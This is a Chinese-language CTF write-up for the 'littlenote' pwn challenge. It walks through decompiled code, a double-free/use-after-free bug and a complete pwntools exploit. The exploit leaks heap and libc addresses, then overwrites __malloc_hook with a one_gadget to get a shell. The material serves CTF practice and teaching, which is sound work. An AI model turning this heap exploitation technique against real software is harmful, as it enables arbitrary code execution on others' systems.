铁三这次全国总决赛的个人赛给了三道Pwn题,littlenote 算得上里面相对简单的一道
下面看程序ida代码
checksec
1
2
3
4
5
6
7
8
b0ldfrev@ubuntu:~/Pwn$ checksec littlenote
[*] '/home/b0ldfrev/Pwn/littlenote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序功能
1
2
3
4
1. add a note
2. show a note
3. delete a note
4. exit
add 函数
只能添加 fastbin 大小的 chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 addnote()
{
__int64 v0; // rbx
__int64 v1; // rbx
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( (unsigned __int64)notenum > 0xF )
puts("FULL");
v0 = notenum;
note[v0] = malloc(0x60uLL);
puts("Enter your note");
read(0, note[notenum], 0x60uLL);
puts("Want to keep your note?");
read(0, &buf, 7uLL);
if ( buf == 78 )
{
puts("OK,I will leave a backup note for you");
free(note[notenum]);
v1 = notenum;
note[v1] = malloc(0x20uLL);
}
++notenum;
puts("Done");
return __readfsqword(0x28u) ^ v4;
}
show 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 shownote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Which note do you want to show?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
puts((const char *)note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
free 函数
释放后未将指针至零,存在 Double free , UAF 漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 freenote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Which note do you want to delete?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
free(note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
漏洞利用
程序没有edit函数,只能通过double free对已释放的堆块进行编辑.
可利用fastbin 链泄露堆地址,然后在申请的堆内存中伪造一个堆块,用于后面泄露libc地址.
通过double free申请到这个伪造的堆块,并编辑伪造堆块内容覆盖到下一个堆块的size头,改成非fastbin size.
释放掉这个非fastbin chunk,泄露libc等一系列地址.
再次使用double free 控制malloc_hook上方内容,并将malloc_hook改成one_gadget.
get shell
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p = process("./littlenote")
libc = ELF("./libc.so.6")
def add(data):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("your note")
p.send(data)
p.recvuntil("keep your note?")
p.send("Y\x00")
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("show?")
p.sendline(str(idx))
def dele(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("delete?")
p.sendline(str(idx))
## chunk0里面伪造一个0x70大小的chunk,用于覆盖chunk1
fake_chunk=p64(0)+p64(0x71)
add(fake_chunk)
add("1")
add("2")
add("other")
# 泄露堆地址,并同时double free,分配到伪造的chunk
# 覆盖chunk1的头字段,将chunk1的size填成(0xe1)非fastbin chunk
dele(2)
dele(1)
show(1)
p.recvline()
heap_base = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0xe0
print "heap_base : " +hex(heap_base)
dele(2)
add(p64(heap_base+0x10))
add("f")
add("g")
add("h"*0x50+p64(0)+p64(0xe1))
## 释放chunk1 进入Unsorted Bin,泄露libc
dele(1)
show(1)
p.recvline()
libc_base= u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0x58-0x3c2760
print "libc_base : " +hex(libc_base)
malloc_hook=libc_base+0x3C2740
one_gadget=libc_base+0xe9415
print "malloc_hook : " +hex(malloc_hook)
print "one_gadget : " +hex(one_gadget)
## 再次使用double free ,控制malloc_hook地址并覆盖成one_gadget
add("1")
add("2")
dele(2)
dele(1)
dele(2)
add(p64(malloc_hook-0x23))
add("f")
add("g")
add('\x00'*0x13+p64(one_gadget))
### get shell
p.recvuntil("choice:")
p.sendline(str(1))
p.interactive()